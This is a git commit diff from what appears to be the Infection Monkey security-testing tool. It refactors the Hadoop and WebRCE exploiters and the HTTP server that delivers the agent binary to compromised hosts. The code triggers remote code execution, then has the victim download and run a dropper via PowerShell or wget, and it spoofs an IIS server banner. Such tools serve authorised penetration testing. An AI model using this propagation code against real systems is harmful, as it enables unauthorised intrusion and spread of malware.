Use IAgentRepository in Hadoop/WebRCE exploiter

This commit is contained in:
Mike Salvatore 2022-02-28 20:08:39 -05:00
parent 86c18b556f
commit 1b1b68f6a6
4 changed files with 47 additions and 27 deletions

View File

@ -42,13 +42,18 @@ class HadoopExploiter(WebRCE):
self.add_vulnerable_urls(urls, True)
if not self.vulnerable_urls:
return self.exploit_result
paths = self.get_monkey_paths()
if not paths:
return self.exploit_result
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
try:
command = self._build_command(paths["dest_path"], http_path)
dropper_target_path = self.monkey_target_paths[self.host.os["type"]]
except KeyError:
return self.exploit_result
http_path, http_thread = HTTPTools.create_locked_transfer(
self.host, dropper_target_path, self.agent_repository
)
try:
command = self._build_command(dropper_target_path, http_path)
if self.exploit(self.vulnerable_urls[0], command):
self.add_executed_cmd(command)

View File

@ -28,7 +28,9 @@ class HTTPTools(object):
return http_path, http_thread
@staticmethod
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
def create_locked_transfer(
host, dropper_target_path, agent_repository, local_ip=None, local_port=None
):
"""
Create http server for file transfer with a lock
:param host: Variable with target's information
@ -50,12 +52,13 @@ class HTTPTools(object):
logger.error("Firewall is not allowed to listen for incomming ports. Aborting")
return None, None
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
httpd = LockedHTTPServer(
local_ip, local_port, host.os["type"], dropper_target_path, agent_repository, lock
)
httpd.start()
lock.acquire()
return (
"http://%s:%s/%s"
% (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))),
"http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(host.os["type"])),
httpd,
)

View File

@ -292,11 +292,12 @@ class WebRCE(HostExploiter):
if not self.host.os["type"]:
logger.error("Unknown target's os type. Skipping.")
return False
paths = self.get_monkey_paths()
if not paths:
return False
dropper_target_path = self.monkey_target_paths[self.host.os["type"]]
# Create server for http download and wait for it's startup.
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
http_path, http_thread = HTTPTools.create_locked_transfer(
self.host, dropper_target_path, self.agent_repository
)
if not http_path:
logger.debug("Exploiter failed, http transfer creation failed.")
return False
@ -304,10 +305,10 @@ class WebRCE(HostExploiter):
# Choose command:
if not commands:
commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD}
command = self.get_command(paths["dest_path"], http_path, commands)
command = self.get_command(dropper_target_path, http_path, commands)
resp = self.exploit(url, command)
self.add_executed_cmd(command)
resp = self.run_backup_commands(resp, url, paths["dest_path"], http_path)
resp = self.run_backup_commands(resp, url, dropper_target_path, http_path)
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
@ -316,7 +317,7 @@ class WebRCE(HostExploiter):
if resp is False:
return resp
else:
return {"response": resp, "path": paths["dest_path"]}
return {"response": resp, "path": dropper_target_path}
def change_permissions(self, url, path, command=None):
"""

View File

@ -1,5 +1,4 @@
import http.server
import os.path
import select
import socket
import threading
@ -7,7 +6,6 @@ import urllib
from logging import getLogger
from urllib.parse import urlsplit
import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.network.tools import get_interface_to_target
from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
@ -16,7 +14,8 @@ logger = getLogger(__name__)
class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
filename = ""
victim_os = ""
agent_repository = None
def version_string(self):
return "Microsoft-IIS/7.5."
@ -46,7 +45,7 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
total += chunk
start_range += chunk
if f.tell() == monkeyfs.getsize(self.filename):
if f.tell() == len(f.getbuffer()):
if self.report_download(self.client_address):
self.close_connection = 1
@ -59,15 +58,15 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
f.close()
def send_head(self):
if self.path != "/" + urllib.parse.quote(os.path.basename(self.filename)):
if self.path != "/" + urllib.parse.quote(self.victim_os):
self.send_error(500, "")
return None, 0, 0
try:
f = monkeyfs.open(self.filename, "rb")
f = self.agent_repository.get_agent_binary(self.victim_os)
except IOError:
self.send_error(404, "File not found")
return None, 0, 0
size = monkeyfs.getsize(self.filename)
size = len(f.getbuffer())
start_range = 0
end_range = size
@ -169,10 +168,21 @@ class LockedHTTPServer(threading.Thread):
# Seconds to wait until server stops
STOP_TIMEOUT = 5
def __init__(self, local_ip, local_port, filename, lock, max_downloads=1):
def __init__(
self,
local_ip,
local_port,
victim_os,
dropper_target_path,
agent_repository,
lock,
max_downloads=1,
):
self._local_ip = local_ip
self._local_port = local_port
self._filename = filename
self._victim_os = victim_os
self._dropper_target_path = dropper_target_path
self._agent_repository = agent_repository
self.max_downloads = max_downloads
self.downloads = 0
self._stopped = False
@ -185,7 +195,8 @@ class LockedHTTPServer(threading.Thread):
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
filename = self._filename
victim_os = self._victim_os
agent_repository = self._agent_repository
@staticmethod
def report_download(dest=None):
@ -194,7 +205,7 @@ class LockedHTTPServer(threading.Thread):
TempHandler.ScanStatus.USED,
get_interface_to_target(dest[0]),
dest[0],
self._filename,
self._dropper_target_path,
).send()
self.downloads += 1
if not self.downloads < self.max_downloads: